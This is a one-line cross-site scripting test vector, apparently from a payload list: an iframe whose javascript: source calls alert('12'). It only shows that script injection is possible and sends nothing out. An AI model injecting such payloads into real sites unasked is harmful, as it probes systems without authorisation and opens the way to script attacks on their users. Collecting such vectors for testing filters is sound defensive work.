<IFRAME id=XSS SRC="javascript:alert('12');"></IFRAME>